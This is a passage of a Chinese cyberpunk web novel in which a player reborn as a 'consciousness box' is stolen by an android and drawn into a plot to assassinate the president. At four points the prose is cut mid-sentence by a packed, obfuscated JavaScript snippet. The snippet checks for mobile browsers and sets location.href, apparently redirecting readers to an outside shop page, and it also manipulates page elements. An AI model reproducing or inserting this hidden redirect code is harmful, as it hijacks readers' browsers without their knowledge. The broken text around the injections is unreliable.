《穿越成赛博盒子有点方》 1. 刺客之跃1 晕车了。 丛黎以为自己是困兽，但现实是她像豆面糕一样在黄豆粉里驴打滚，被大厨翻勺颠得脑脊液横流。 青年男子握持着盒子，动作矫捷如鹿，从高楼一跃而下。 高饱和的霓虹灯光线中，他的身影一闪而过，像水滴融入海中般消失在黑暗的夜色里。 “放慢速度……晕！” 丛黎终于发出了声音，从那个盒子里像幽魂一样气若游丝，连加重的语气都轻易地被风吹散了。 青年男子似有所察，放慢了一点速度，穿梭过夜色。 可是已经晚了，丛黎感觉黄豆粉已经沾在了她百分之九十的脑褶皱上。 她堪堪用手触碰到了盒子的空无之壁，大脑一片空白。 人在赛博世界，穿越成了盒子。 《生命水》是一个以赛博朋克世界为背景的高自由度全息游戏，游戏发行商称游戏的全息体验逼真如穿越。 发行商实在是谦虚了，“逼真如穿越”这个说辞并不确切，因为事实是确实穿越了。 丛黎穿越后的身份，是一只盒子，形状是规整的立方体。 这是“意识盒子”，装着一个已故之人的意识内存条。 系统给出的身份卡是： 【玩家丛黎，“渡鸦”的意识盒子，被重重锁在黎家的家族大楼顶层。】 一道道厚重的金属门背后，传感器和射线在昏暗无比的保险柜外形成防护网。 盒子就放在保险柜里。 只能调出论坛和系统页面的丛黎刷了一天论坛。 1L：是真的穿越了还是意识抽离？这里死了的话，现实世界中也会死吗？ 2L：在游戏公告没有发布前，还是小心点为好，万一不小心噶了呢。 3L：不在乎噶不噶的。 1L：人在水下城，觉得不 2L：楼主怎么话说一半？出意外了？ …… 杂七杂八的帖子刷了一天，丛黎发现没有人发帖询问“穿越成盒子怎么办”。 她死心了。 看来只有她倒霉催地穿越成了盒子。 丛黎以为自己会在大楼的秘密基地里安静地作为盒子躺上一辈子，没想到第二天就出了乱子。 有人闯进了大楼，破坏了安保系统，进入秘密基地，解开封锁，把意识盒子劫走了。 黎家出动了大批追兵，如同黄蜂群簇拥上去。 盒子里到底是什么，除了位高权重的那几位知道以外，没有人了解真相。 尽管如此，命令是把盒子完好无损地追回，并且查出盗窃者背后的主使。 可惜，追兵赶到的时候，极目迥望一无所见。 远近的高楼大厦上光线交错，直升机的轰鸣声徒然振动。 盗走意识盒子的窃贼逃之夭夭了。 空无之壁包围着丛黎。 她把其中三面空无之壁放上外界景观的投影，另一面空无之壁上她则投放了游戏论坛，相当于大屏刷手机。 外面的景象安静下来。 “渡鸦。”一个声音在叫她，冷沉而利落的发音。 她在投影画面里看到房间灯亮了起来。 那个劫走盒子的青年已经回到自己的安全屋了。屋子里设施简单，光缆管道裸露在外，通风口的风扇在不断转动，发出嗡鸣的声音。 青年戴着面具，能隔绝扫描的合金材质，经过镜面透出的双眼虹膜是灰色的。 他脱下弹孔累累的外衣，撩起袖子，露出结实的小臂，小臂上有一道血肉模糊的划痕。 他为伤口消毒，一面对放在桌上的盒子说：“渡鸦，我的名字是苍术。” 丛黎还没从晕车中缓过来，她不是很客气：“有事找我吗？还是你认识我？” 苍术手里拿着一张胶带，停下动作看向她的方向：“你忘记了一些事？” “忘记了就是忘记了，我只是一个内存条盒子而已，数据总会磨损的。”她理直气壮地说。 系统没有提示她关于过去的事，也没有把意识盒子“渡鸦”的记忆传输给她。 但幸运的是，她只是一个盒子。如果有穿越的玩家对原身记忆一无所知，或许会引来身边人的质疑——但她只是一个盒子而已。 能指望一个意识盒子什么？ 苍术把胶带贴在伤口上，皮开肉绽的地方神奇地缝合了起来，他似乎在思考该怎么回答，沉默着。 丛黎扒在大屏幕前看他处理伤口的样子，她觉得有些违和，也这样问了出来：“你真的是人类吗？” 苍术坦诚回答道：“仿生人。” 丛黎在空无之壁间踱步思考。 仿生人。 她记得在游戏背景里，仿生人是一个复杂的存在，拥有许可证的公司可以生产制造仿生人，但民众对仿生人的态度很微妙，大多数人谈不上反感也很无感，甚至有不少专门猎杀仿生人的地下组织。 这个名叫苍术的仿生人费尽心思把她从秘密基地里盗出来，幕后的主使者是为了什么？ 安全屋里陷入静寂。 苍术是个不善言谈的人，他处理完伤口重新把袖子拉下来，走到另一间房间里接了一个秘密通讯。 丛黎一个盒子待在空荡荡的房间里，感到糟心透了，又开始刷论坛。 帖子主题“有人知道异能吗？我早上剖鱼的时候……” 楼主1L：我早上剖鱼的时候，没注意到有一片鱼鳞粘在手上了，现在发现手上多了一个小疙瘩，怎么挖都挖不掉。 2L：这不是鱼鳞痣吗？沿海地区的人都知道这个，很常见啊。异能是什么鬼？ 楼主3L：我知道这个是鱼鳞痣，问题是，我现在钓鱼百发百中了耶！谁都知道钓鱼佬除了鱼什么都钓得到，我现在是超进化的钓鱼佬了吗？ 4L：有异能的话，系统应该会提醒吧？楼主不要疑神疑鬼了。 …… 楼主29L：系统提醒了。 刷到有人觉醒异能的帖子了，丛黎觉得事情有些不对劲起来。 穿越前，游戏介绍是“赛博朋克世界”，从未提过“异能”。 她一直以为是硬核的赛博科技风世界，没想到还有神秘元素。 苍术从房间里走出来。 他还没来得及说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462226|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，丛黎便开口了：“既然是你们有求于我，就稍微拿出点诚意来，懂吗？” 苍术黑色高领下的喉结凸起微微滑动了一下，他思忖着回答道：“抱歉，以后我会让你参与我们的一切通讯。” 苍术没有向她提起行动和盗走她的目的，只说“明天有人会向你解释”。 天快亮了。苍术窝在沙发上休息了一会儿，他的身躯高大，在逼仄的沙发上只能蜷缩起来。 丛黎在盒子里睡得四仰八叉的，空无之壁里的空间很大，她也算是拥有二十平方米大床的富婆了。 事实上，她发现自己并不需要睡觉，没有任何生理需求，但她就是想要睡觉，睡个天昏地暗，睡到自然醒！ 这是心理需求，不是生理需求。 距离天色亮起还有几分钟左右，苍术从沙发上起身，把盒子揣进了兜里。 “渡鸦，我们要出发了。” 丛黎面无表情，双手试图紧抓空气墙，语气冷酷：“开慢点，不然你们要我做的事我一概拒绝。” “好，我尽力。”苍术总是沉静而情绪稳定的样子。 尼龙市的清晨如同灰色油画，纵轴上疯狂生长的高楼阻挡了太阳光，因此越是低楼层光线越暗，只能借助无数人工光源获得视野，否则便是人畜不分的昏暗。 苍术便行走在暗沉的楼影中，他有意避开了到处的摄像头，动作轻盈如猫地跃过矮墙。 码头的泊位上，在众多普通的渔船中，停着一艘船，船身上的油漆字只有一个“L”清晰可见，其余都被海水侵蚀得面目模糊。 苍术踏上舷梯，穿过狭窄的外部走廊。 他在一扇门前停下来，摘下面具，门开了。 丛黎看到了他的脸，一张完美无缺的脸，冷峻而俊美，灰色的眼睛像没有任何情绪一样。 她没有太意外，毕竟要是仿生人长得歪瓜裂枣，就失去了捏脸的意义。 她看着投影上的画面逐渐改变。 “桑寄，阿魏，白前。”他向房间里的人打了招呼，又像是在给她介绍。 房间里的三人都戴着面具。 桑寄是带着面具的女性，有些年纪了，说话的声音有些苍老：“渡鸦，很高兴见到你。” 阿魏只放了一个投影在房间里，真人并没有在场，朝她微微颔首：“渡鸦。” 丛黎之所以看出阿魏的那个是投影，是因为他的投影和后面墙上挂着的轮胎穿模了。 白前身量尚小，说话的时候用了变声器，把声音换成了带有“滋滋滋”电流声的机械音，导致丛黎几乎看不出看来白前到底是男孩还是女孩。 “渡鸦你好。” 丛黎被这个阵仗搞得有点迷乱，当下就端起了偶像包袱。 “说吧，有什么想要的。”她双手抱臂，即使盒子外的人看不到她这酷拽的姿势。 这种感觉就好像她是阿拉丁神灯，住在盒子里，能帮人实现愿望。 “我们需要你帮助苍术刺杀总统。”桑寄沉了沉声音。 阿拉丁盒子丛黎：“……” 不是，她只是一个盒子啊！ 她哪能帮忙刺杀总统？ 2. 刺客之跃2 系统：【触发任务“刺杀总统”】 大脑里好像塞了一片发霉的面包，红的绿的蓝的都是实验员培养不出来的菌种。 哪家好游戏的新手村任务是这个？ 丛黎在盒子里换了好几个思考姿势，对房间里的反动分子们道：“讲讲为什么吧。我为什么要帮你们。” 几个小时前，苍术和桑寄等人进行秘密通讯时，便已经将“渡鸦”的情况告诉了他们。 桑寄对她的质疑并没有表现出太多的情绪，平静地答道：“你忘记了一些事。” “十年前，你死之前在暗网上发布了悬赏，称如果有人能让你重见天日，就会倾力相助。” “在悬赏后你附了一段密文，进入黎家家族大楼的方式就在其中。我们破解了这段密文，不然苍术绝无办法把你从那个牢笼里带出来。” 阿魏伸手一指，投影被一则暗网页面取代。 署名为“渡鸦”的用户在十年前发布的悬赏，右下角证明日期的水印闪着特殊的光芒。 原来如此，她不仅是阿拉丁神灯，还是睡美人。 “人们在新闻上看到了你的讣告，自然也没人相信这段悬赏，毕竟死人是无法做任何事的。知道‘意识盒子’的，当世不会超过二十个人。”桑寄说。 丛黎大脑里的面包霉点越来越多。 “渡鸦”为什么会死。为什么会变成意识盒子。意识盒子为什么没有推广。“渡鸦”为什么希望重见天日。为什么知道进入秘密基地的方式。又以什么底气许下“倾力相助”的承诺。 以及，她和“渡鸦”是什么关系，她是“渡鸦”吗？ …… 暂时先别考虑这些。 她坐在空无之壁内，双手抱住脑袋，往前发力，动作像是把发霉的面包从脑子里扔了出去一样。 “既然是我答应的，那就干呗。执行方案呢？”她说。 话说出口，她又后悔了。要执行方案就相当于在给她自己挖坑。 她连忙弥补道：“没有方案？那我随机应变了。谢谢你们对我的信任，干完这一票记得把我放在安全的地方。” 桑寄对她的随意没有多说什么，起身：“合作愉快，渡鸦。” 阿魏的投影：“合作愉快。” 小孩白前：“愉快。” 苍术从那艘看似普通的渔船上离开了。 尼龙市靠近粉牙镇的这条海岸线上还保留着过去的渔业，渔民们凌晨出海、清晨收网、处理捕获的海鲜，运往市场。 丛黎看到空无之壁上投影出来的画面里路过的渔民，突然想起了昨天看到的关于“异能”的帖子。 既然能开发异能，她的异能会是什么？ 作为一个盒子，总得有点什么拿得出手的技能。 潘多拉魔盒，月光宝盒，死魂盒，总不能只是一个会说话的骨灰盒。 丛黎开始焦虑地刷论坛。 论坛上多了不少高楼火帖，其中一个主题是“第一个任务发布了”。 楼主：你们看到第一个任务了吗？哇靠这是什么任务机制，上来就这么难的吗？ 2L：大家的任务都一样吗？我触发的是“刺杀总统”。 3L：服了，我才知道大家都是要去刺杀总统的，我本来打算搞个坠机的，现在想想不现实，可能飞机上全部都是去刺杀总统的玩家！ 4L：饱和式刺杀，笑死，总统你怕了吗？ 丛黎心情毫无波澜。 她以为只是她一个人触发的任务，结果是大家都收到了消息吗？ 34L：显然这个不是必做任务啊，就是一个选做任务，说不定只是某个玩家触发的，或者是某几个玩家触发的。反正不是我，我活着还是个问题呢，我生活的地方也太乱了……要变黑/手/党了。 35L：有可能。等一下，这个细思极恐啊。本来那个刺杀总统的行动是秘密进行的，但这么一来，就像在玩家群里公屏投放了一样，如果有穿越成总统保镖的玩家或者利益相关的玩家，不是知道了对方的秘密行动吗？刺杀难度一下子上来了！ 丛黎：“……” 够了，别分析了，只是网友，你们越界了。 苍术离开码头，在粉牙镇的市集上停留了一会儿。 他在盒子上贴了一个外接接口，连接着他的微纳耳机，这样他就能听到盒子对他说的话。 丛黎在盒子里指挥：“我要吃那个。炸得金黄的那个鱼。还有旁边我不认识的东西，你问一下那是什么。” 苍术问摊主：“我不认识这个，是什么？” 摊主用奇怪的眼神瞟了他一眼：“我说名字你也不认识的……我说这是豆制品，说成这样总认识了吧？” 丛黎盒子：“认识了认识了，要买！” 苍术对摊主道：“炸鱼，和这个。” 摊主把食物用塑料包好，递给他。 黎家的人还在追杀寻找苍术，在这个节点上，他暂且留在尼龙市，免得在边境被拦下来。 苍术在粉牙镇的黑旅馆里落脚，这里本来是一个仓库，被改造成了一个没有许可证的黑旅馆。他坐货运电梯上楼，在仓库的第六层停下来，用老式的钥匙打开门。 “国际惯例，盒子先吃。”丛黎说。 苍术把食物放在盒子面前。 空无之壁上的投影画面变成了放大版的美食，每一细节都清清楚楚。 她抱着空气墙，夸张地叹气。 不饿，一点都不饿，她只是心理上饿了。 盒子不能进食，仿生人可以进食但不需要，所以那些食物最后被苍术分给了黑旅馆楼下的流浪汉。 苍术属于一个名叫“尾迹云”的组织，就丛黎所知，这次刺杀就是“尾迹云”策划的。尾迹云是飞机在行驶过程中留下的云痕，本质是飞机废气在大气中水汽凝结而成的云。 至于这个神秘组织为什么取名“尾迹云”，丛黎也懒得探讨。 她每天赛博进食，赛博睡觉，在空无之壁间翻滚，大屏刷论坛，顺便让苍术给她播放点这个世界的文娱作品。 三天后，苍术离开了尼龙市，一个开黑车的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462227|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组织成员接应他离开了这里。 成员名叫“鲜皮”，是个剃着时髦溜青发型的男子，他驾驶着半旧不新的车，哐当当地驶离了尼龙市边境。 “黎家的搜索重心第一是内海上出海的船，第二是内海附近的盾形市。我们这次没走内海那条路真是太对了。”鲜皮说。 刚说完，“碰”的一声，车后窗玻璃炸了。 这是什么乌鸦嘴？鲜皮大惊失色，一手握着方向盘一手伸向后方，用手一握。 丛黎在空无之壁的影像中清清楚楚地看到那片被子弹打碎的后窗玻璃重新愈合了。 她正在诧异这是否是异能，苍术开口对鲜皮道：“到前面那个建筑工地，我下车。” 鲜皮的汽车在火力的追击下猛地转弯，轮胎摩擦出刺耳的火星子，颠簸地往前行驶。 天色已经黑了，建筑工地里点着几轮路灯，像昏暗的月亮。 车速慢下来的时候，苍术从车窗里一跃而出，和扬起的粉尘一起，轻盈若无物，几乎无人注意到他中途跑了的事实。 鲜皮毫不犹豫地转方向离开了建筑工地，油门踩死。 追兵在车后砰砰砰地制造噪音，谁知那辆半旧的车毫发无伤。 他的异能和车有关，简直是天生司机，枪/战飙车戏的王者。 眼见距离越拉越近，黎家派来的追兵忽然发觉了异样。 取走盒子的盗贼早已不翼而飞！ “不用担心，有人已经找到了他。” “回去建筑工地，辅助抓捕。” 黎家派来的装甲车掉头折返，直往刚才路过的建筑工地而去。 建筑工地里高耸的钢铁骨架像骷髅一样站立着，几枚路灯形成的光源打出微小的光区。 苍术压低声音对盒子道：“是异能者。” 丛黎什么都看不见。 她在盒子里什么都看不见，在空无之壁上只有黑黢黢的一片。 “画质好差，我看不见。”她说。 苍术安慰她道：“我也看不见，连红外线都扫描不到。我只是感觉到了。” 那就不是她的盒子投影问题了。 丛黎把盒子的六面墙都投上了周围的影像，只在一面墙上看到了一枚路灯。从那个角度看去，正好有一枚路灯在钢架发电机旁。 她只是一个盒子，基本不需要担心自己的安危，但她想看清楚情况，场景黑不溜秋的实在让她难受。 当然，私心她也希望是苍术赢。因为黎家人不会给她买炸鱼、吃赛博饭。 她用手去触碰空无之壁，去碰空气墙上那枚路灯的投影，教训道：“你长得真不是地方，你要是能去其他地方就好了。” 路灯光被她托在了手上，从空气墙里抽了出来，虚幻的投影亦真亦幻。 她吃了一惊，托着路灯光走到另一面空无之壁前，手伸入空气墙。 苍术身前，路灯光凭空出现，投出一个光区。 敌人隐藏在暗处的身形也立时显现了出来！ 系统：【异能“高维空间”，评级不明】 3. 刺客之跃3 路灯光凭空出现。 如同蚂蟥被盐溶液挤压出体内的血液般，敌人从黑暗里被挤压出来。 “碰”，突然出现的光源让苍术看到了金属线条延展流淌的光一闪而过，在敌人现身的那一刻，苍术及时击落了朝他飞来的钢筋。 敌人浑身包裹着纯黑的衣物，几乎融入了黑暗中，他抬起手，周边的黑暗如同泥一般凝聚成形。 丛黎决定暂时叫外面那个敌人“黑泥”。 黑泥没有多说废话，利用无光之处的黑暗卷起周边的金属、锐物和重物攻击苍术。从这一点来看，他的异能只能借用外力，无法直接攻击对人造成伤害。 苍术闪避能力很强，在叮叮当当的碰撞中总是能逃出一脚，他的主要目标是逃离，而不是和黑泥决一死战。 丛黎一面观察外面的战况，一面在其他几面空无之壁里摸黑掏东西，情形类似边追剧边鼓捣薯片袋子。 她才刚开发异能，还得熟悉一下它的原理。 异能“高维空间”。 就像神的铅笔和橡皮擦能创造或抹消物质一样，她也能从包围着她的空无之壁里取出东西挪到其他地方。 只是那些从低维空间的东西取出来对她没用，画饼不能充饥，她画的饼只能给画中的人享用。 她手上多了一个迷你的发电机，正是刚才路灯旁边那台，她从空气墙里摸出来了。 手掌心里的发电机如魔方般大小，轻若无物。 大约十秒后，发电机从她手心里消失了，重新回到空气墙中。 原来如此，她从空气墙里挖出来的东西，不能在她这里久留。 盒子外，黑泥和苍术的战斗进入僵局，黑泥用尽办法把他往黑暗处引，好扩大自己的使力范围。苍术虽然意在逃离，但他深知离开光源便会陷入被动，往往几次走位后又回到那片光区。 两人都没有绝对的攻击优势，形成了一个微妙的平衡。 丛黎有了一个大胆的想法，她试图从空气墙里把苍术掏出来。 苍术的移动速度惊人，她手穿过空气墙却摸到了旁边的砖块，再摸，却是高大的钢架！ “动作怎么比苍蝇还快……”她把手从空气墙里抽出来。 她终于放弃了抓住苍术的尝试，把目标定为那个异能是摸得到的黑暗的敌人。 苍术的攻击落在黑泥身上时，她差不多定位了黑泥的位置，伸手一摸。 摸了个空。 就连黑泥制造出来的黑暗泥条也无法抓到。 看来活物和异能形成的武器取不出来，或者说，只是因为她的“高维空间”等级还不够。 “轰！”热武器的出现打破了微妙的平衡。 装甲车的车轮碾过瓦砾。 提前收到预警的黑泥隐入黑暗中离开了。 先出现的是密集如雨的子弹，直朝光源下的苍术飞来。 丛黎在空无之壁间摔了一跤，她能感觉到苍术这次闪避的时候动作幅度大了一些，因为她又开始晕车了。 箱盖打开，炮塔缓缓从装甲车上升起，炮口亮起了橙红色的火光。 看到投影画面上出现的炮塔时，丛黎的大脑停了一秒。 盒子还在这里呢，都不管盒子死活，直接开炮的吗？ 在地上翻滚了一圈，丛黎半蹲着在一面空无之壁前停下，伸进手去，把整栋建造中的大楼倒拔垂杨柳，朝装甲车炮塔的方向扔过去。 建造到第十层的高楼拦腰往炮口飞过去！ 装甲车升起的炮塔在横飞过来的高楼阴影下忽然显得有些呆滞。 在所有人都瞳孔猛缩呼吸暂停的时刻，那栋高楼忽然停了下来，稳稳落在装甲车前，炮塔的火光刺如荆棘，落入大楼内部，发出“轰”的巨响，烟尘四散。 死里逃生的装甲车和其上的战斗人员很快反应过来。 “调转方向！” 四十米高的巨大钢铁脚手架拦在了装甲车的另一个方向，落地时轻轻巧巧，没发出过响的声音，如同从天而降，自然生长。 紧接着另一栋建造中的楼，长了脚一样自动挪到了它面前，高大而沉重，废渣和瓦石灰尘滚滚。 苍术站在原地，压抑了自己的震撼，平复心情对盒子道：“请你告诉我我可以行动的时机。” “可以走了。”丛黎说。 空无之壁上的投影画面随之转变，建筑工地逐渐远去。 “这片建筑工地是谁出钱在盖的？”她好奇问了一句。 苍术：“黎家。尼龙市大多数产业都由他们控制。” 丛黎想了想刚才她投掷大楼的动作：“那他们可能要哭一下了。大哭还不至于，毕竟钱那么多。” 苍术动作迅速地穿过附近一片种植棚，飞快掠过稀疏的车流横越过高速公路。 沉默了许久，他问：“你刚才有能力毁灭他们，却阻止了那栋大楼的运动。为什么？” 丛黎一开始是把那栋大楼扔出去的，但中途却改变了主意，握住大楼把它放好。 “没必要，从长远来说，让敌人产生恐惧心理更有效，这些人回去后最好把今天的事添油加醋地传遍全世界。”她说。 事实上，在结束动作后，她后知后觉地产生了强烈的不安直觉：如果刚才她果真用大楼毁灭了那辆装甲车，她自身也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462228|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受到沉重的伤害。 丛黎坐在空无之壁内，她心有余悸地思考着。 系统没有做任何提示。 但是她隐约察觉到，异能的使用本应该有界限。或许对于异能开发者来说，异能的正确使用方式需要他们自身去觉悟。 “配得者”会摸到规则的边界，而“不配者”没有节制，终将被不属于他们的能力吞噬。 她叮嘱苍术：“我们赶紧在哪里落脚，给我买点吃的，放个全息碟片。” 苍术：“我会联系人接应，只是现在暂时不会停止赶路。” 系统：【触发任务“阻止神秘组织刺杀总统”】 忽然弹出来的提示让丛黎心脏滞了滞。 在几分钟内，论坛上的帖子爆炸式增长！ 2L：我勒个去我勒个去！ 8L：之前有人分析过吧？第一个任务只是某个玩家或者某几个玩家触发的，但是被公屏投放了。那现在第二个任务也是某几个玩家触发的，又被公屏投放了！ 74L：这个游戏的私人系统任务提示居然是全服公开的，是bug吗？ 76L：要么是程序上的错误，要么就是这样的竞技机制。 91L：理一下理一下，现在两条任务触发，有不少线索。 第一，有玩家在某神秘组织内，而那个神秘组织在预谋刺杀总统，今天早上那个玩家得知了这件事，所以触发了这个任务。 第二，有玩家穿越到了对抗阵营，但是今天早上全服触发任务的时候还没有明确，但在今天晚上，才触发了对抗任务。这说明什么？两种可能，一是今天晚上总统那边的人得知了刺杀的小道消息，二是今天晚上玩家和神秘组织产生了对抗！ 345L：这是要搞什么？玩家对抗吗？要我杀npc我还可以接受，要我杀玩家，我真的受不了，心里过不了那条坎。 346L：怎么退出游戏？ 347L：我觉得好像是真的穿越，退出不了。事情走向越来越玄幻了，好像有高维人在玩弄我们要我们为了完成任务自相残杀一样…… 348L：完成任务就可以退出游戏吗？ 丛黎一条帖子一条帖子往下看着。 今天早上触发任务的是她吗？还是其他玩家？或者说，在“尾迹云”组织内，在船上的四个其他人（桑寄、阿魏、白前、苍术）内，还有玩家的存在？ 今天晚上触发任务的又是谁？为什么在苍术和黎家的追兵对抗之后触发？难道，在黎家的追兵里，或是在黎家高层，存在着玩家？ 或者以上猜测都不是，而是存在第三方势力在谋划着相关事宜？ 4. 刺客之跃4 扑朔迷离。 像走在鹅卵石路面上一样，不是大问题，但就是脚底硌得发慌。 丛黎关掉空无之壁上所有投影，对苍术道：“到了叫醒我。” 苍术平静应声道：“好。” 这天晚上到次日上午，苍术一直在赶路，在组织成员的接应下，他在毛柱工业镇里一家餐厅楼上落脚。 毛柱工业镇上空气能见度低，浓烟从钢铁血管里不断涌冒，这座小镇上的建筑结构往往/裸/露在外，形似生物骨骼。 苍术：“渡鸦，可以醒了。” 丛黎打开投影，透过空无之壁观察外界的情况：“有吃的吗？” “这是从楼下餐厅打包的食物，他们唯一的套餐。”苍术拆开打包袋，古怪的食物香气溢出来。 丛黎看了一眼，没什么食欲，当然即使看起来很美味，她也吃不了。 她兴致缺缺地道：“谢谢，可以了。” 从穿越成盒子发现自己被锁在秘密基地里开始，她就对这个世界没什么实感。 一切都被放在投影里展示给她看。 她感觉不到饥饿，也感觉不到困倦，她这才确信自己并没有身体，只是她的意识以这种形式活着而已。 玩家们来到这里不到一周。 论坛上，不少玩家开始真情实感地沉浸其中。 “见到爸爸妈妈了，差点以为我回到自己的世界了” “要饿死了，好想活着，有没有人给我送个馍” “揭露一甦科技真面目，不要信他们！不要给他们当走狗！” …… 帖子越来越多，玩家在另一个世界活着的实感强烈起来。 但丛黎不一样。 她总有一种飘忽而抽离的感觉，这种感觉在她举起建筑工地的大楼时升腾到极点。 灵魂出窍的高维人类遥远地观察着世界，砖瓦钢铁像灰尘一样从镜面里拂过。 “苍术，你帮我看看，我防水吗？”丛黎开始好奇那个装着她的盒子了。 苍术用手指沾了一点水，抹在盒面上。 “那么一点哪够啊？”她嚷道。 苍术：“我担心你发生电磁故障，我不会修。” 她：“这有什么好担心的，稍微多放一点水，边边角角都试一下，我会让你停下的。” 于是苍术按照她说的，在这个完全密封的盒子上做了防水实验。 得出结论：盒子完全防水。 丛黎很焦虑，自从她开发了“高维空间”这个逆天的异能后，反而有种踩不到地面的恐惧感，像是随时要一脚踩空坠下悬崖。她现在几乎不敢再使用这个异能，生怕下一秒自己就从这个空间里灰飞烟灭，从这个世界和那个世界里永远消失。 “再给我放在磁场里，我看看我会不会受影响。”丛黎又向苍术提出了新的要求。 苍术坐在桌边，沉默地看着桌上的盒子，没有回答。 丛黎以为他是担心她在强磁场中内存条失灵导致刺杀行动失败，便道：“算了，等完成行动再给我做盒子实验。” 苍术没有答话。 丛黎：“那放一点全息碟片吧，随便什么都可以。” 空无之壁上，青年男子的影像是放大的，面具上的细节一清二楚，那双灰色的眼瞳里倒映出来的也依稀可见。 “你要出来一下吗？”苍术忽然说。 丛黎：“啊？” 苍术：“我对你感到很好奇。” 丛黎：“好奇……” 废话，她自己都对自己的盒子状态感到很好奇呢。 苍术是认真的，他摘下了面具，用那张并不怎么会表达情绪的脸和她对视。 丛黎：“如果你要问我展现出来的能力的话，我可以告诉你，这只是一种异能而已。” 苍术摇了摇头：“不是，我对你感到很好奇，不是对你的能力。” 她：“你就算好奇到那颗电子心脏融化了，我也出不来。” “我会建模。”他说。 丛黎被这个仿生人战士前言不搭后语的话题搞懵了：“什么意思？” 苍术起身，去房间里取了一只小型全息投影仪，调了调数据，按下“投影”按钮。 一名年轻女性的全息投影在房间里缓缓模成，长眉凤眼，黑发在脑后随意扎起来，黑色背心和长裤，手上戴了金属护腕。 丛黎吓了一跳。 这个世界的“渡鸦”和她太像了，就连气质都是十成的相似。 “渡鸦，这是根据你生前的数据捏出来的模型，如果你要做什么动作，我可以给你调。”苍术看向盒子。 盒子里的丛黎缓了一下情绪：“……苍术先生，你知不知道再过五个小时，我们又要开始赶路，面对未知的危险，去刺杀总统？” 苍术：“我知道。” “那你牺牲宝贵的休息时间来玩这种捏脸游戏？！”她凶道。 苍术很听话，默默关掉了投影：“抱歉。” 丛黎心烦意乱地开始刷论坛。 论坛上有一个昵称为“耳廓狐”的玩家发布了一个帖子。 楼主（耳廓狐）：不知道有人是不是和我一样，我不知道我是死了还是活着，总之很虚幻。 2L（耳廓狐）：我听得到看得见闻得到，但我好像是隔着游戏操控杆和这个世界对话。 3L（耳廓狐）：很矛盾的一点是，我把他们当作NPC，但我的小命却被捏在他们手中，他们能像踩死蚂蚁一样踩死我。 丛黎看到帖子的时候有些恍惚。 这不就是她吗？ 从某种程度上来说，她现在自己的心态就是高维人。 她没有实体，也没有活着的真实感觉，透过空无之壁看到的一切投影都让她觉得她只是在玩一个漫长的游戏。 盒子里的丛黎是一个矛盾集合体，她可以操控外面的世界，但外面的世界也可以完全操控她。 盒子被关在基地里，盒子被劫走，盒子被扔到水里，盒子在哪里都不是自由的。 正是因为这个原因，她才会感到焦虑。 苍术打开“渡鸦”的数据模型时，她看到和她无比相似的人出现在那个投影世界里，猛然有种破次元壁的错觉。 她关掉论坛，想了想还是决定问苍术：“刚才你为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462229|141778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想玩捏脸游戏？” 苍术正坐在充电桩旁给自己补充能量，闻言离开充电桩，走到盒子面前。 “我有二十次重启的损耗储备，也就是说我可以死二十次。”他说。 丛黎愣了一下。 死二十次……难怪组织会派苍术这个没有异能的仿生人独自出发执行任务。 “我已经死了八次，还有十二次，我就到达损耗阈值了……只是对你感到很好奇。在我的损耗到达阈值前，我能见到你吗？” 苍术的眼神清澈，用没什么起伏的语气阐述着单纯的请求。 前八次的损耗中，应该也有因为闯进黎家盗走盒子而不得已重启的情况。 丛黎态度软了一些：“你居然会打同情牌……算了，想玩捏脸就玩吧，啧。” 她也想知道，如果她以那种形态出现在这个世界上，她会不会更有活着的实感。 渡鸦的数据建模穿着和她在自己的世界里差不多，所以她没有让苍术调参数。 她描述着其他的细节：“护腕去掉，其他保留，给我拎个袋子，袋子里装着食物，对对……就是这样。” “表情呢？”苍术问。 丛黎用系统的“镜面”功能把空无之壁投影成镜子，她在镜子前看着自己，迟疑地扯了扯嘴角露出一个僵硬的笑用以计算角度。 “你现在的表情是什么？”苍术追问道。 她郁闷：“是呆滞的表情，行了吧？你都不会做表情，怎么那么在意我的表情参数？” 